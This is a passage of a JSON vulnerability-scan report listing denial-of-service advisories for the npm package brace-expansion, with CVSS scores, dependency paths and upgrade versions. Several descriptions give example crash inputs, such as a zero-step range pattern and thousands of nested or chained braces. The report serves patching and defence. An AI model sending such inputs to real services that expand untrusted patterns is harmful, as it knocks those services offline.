"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
